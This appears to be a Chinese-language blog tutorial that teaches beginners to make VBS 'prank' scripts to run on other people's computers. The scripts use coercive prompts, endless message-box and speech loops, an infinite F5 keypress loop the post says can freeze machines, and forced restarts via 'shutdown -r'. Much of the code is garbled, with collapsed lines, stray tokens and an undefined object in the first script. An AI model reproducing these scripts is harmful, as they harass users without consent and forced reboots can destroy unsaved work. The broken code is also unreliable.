如果你是小白的话也不用急,我们一步一步来。
1.在桌面上右键单击选择新建文本
2.把代码复制粘贴
3.保存
4.选中文本,右键单击选择重命名
eg: 新建文本文件.txt ----->啦啦啦.vbs

代码请各位收下,虽然简单但也还是好玩
a=inputbox("快在下面的框框里输入松哥,你真帅,否则后果自负,快输""松哥,你真帅"" ","输不输","") loop call
shutdown(2) msgbox "早说就行了嘛",4096+64 msgbox"再输一遍!松哥,你真帅",4096+64
msgbox"松哥,你真帅",4096+64 MsgBox"最后一次!",4096+64 MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64 MsgBox"从前有座山!",4096+64 MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64 msgbox"哎呀累了!数绵羊哄我睡觉",4096+64 for i=1 to 100 MsgBox
i&"只绵羊",4096+64 next msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64
msgbox"最后问个问题,我是不是大好人!",4096+64 if inputbox("是不是","请选择","是")<>"是" then call
shutdown(1) end if sub shutdown(s) select case s case 1 ws.run"cmd.exe /c
shutdown -r -t 60 -c",0 case 2 ws.run"cmd.exe /c shutdown -a ",0 end select end
sub
以上中文处可随意修改,大佬忽略此话
补充几个整人代码:
电脑十秒后重启
set ws=createobject("wscript.shell") ws.run"cmd.exe /c shutdown -r -t 10"
部分电脑卡死(无限刷新)
set ws=createobject("wscript.shell") do ws.sendkeys "{f5}" loop
撩小姐姐的,自由发挥哦
msgbox("小姐姐") msgbox("小姐姐") msgbox("呼叫小姐姐")
a=msgbox("小姐姐有时间吗?",vbYesNo,"玩个游戏哦") if (a=vbYes) then
msgbox("嘿嘿嘿,那我们可以继续玩下去了!!!") msgbox("那。。。。。。我就问你一个问题啊") msgbox("你觉得自己漂不漂亮?")
msgbox("温馨提示:") msgbox("要有自信哦") b=msgbox("漂不漂亮?",vbYesNo,"漂亮") if (b=vbYes )
then msgbox("我也这么觉得") wscript.echo printer("
","*","113111111112212111313111513",7) function printer(a1,a2,b,c) for i = 1 to
len(b) b1 = Mid(b,i,1) for j = 1 to b1 s=s&a1 n=n+1 if n=c then s=s&chr(10) n=0
end if next a3=a1 a1=a2 a2=a3 next printer=s end function msgbox("嘿嘿嘿")
msgbox("嗯,虽然我也赞同这一点") msgbox("但") msgbox("我还是想皮一下") do msgbox("哈哈哈")
msgbox("哈哈哈") msgbox("玩不过我吧") msgbox("哈哈哈") msgbox("哈哈哈") msgbox("打不到我吧")
msgbox("没有办法") msgbox("就是这么强大") msgbox("啦啦啦啦") msgbox("啦啦啦啦") msgbox("啦啦啦啦")
loop else msgbox("啥?") msgbox("我没听清") msgbox("这么不自信?") msgbox("和我的观点不一样")
msgbox("后果很严重") msgbox("所以,准备惩罚你一下") msgbox("带你数绵羊吧") Set s =
CreateObject("sapi.spvoice") i=0 Do while i<100 s.speak i i=i+1 if i=66 then
exit do loop end if else msgbox("那。。。。。。我就在皮一下") msgbox("真的") msgbox("真的")
msgbox("真的") msgbox("我就皮一下下") msgbox("皮这一下我很开心") msgbox("警告") msgbox("警告")
msgbox("警告") msgbox("你的电脑将关机") msgbox("给你一次机会") msgbox("使用 Ctrl+Alt+delete
关闭此进程") set ws=createobject("wscript.shell") ws.run"cmd.exe /c shutdown -r -t
10" end if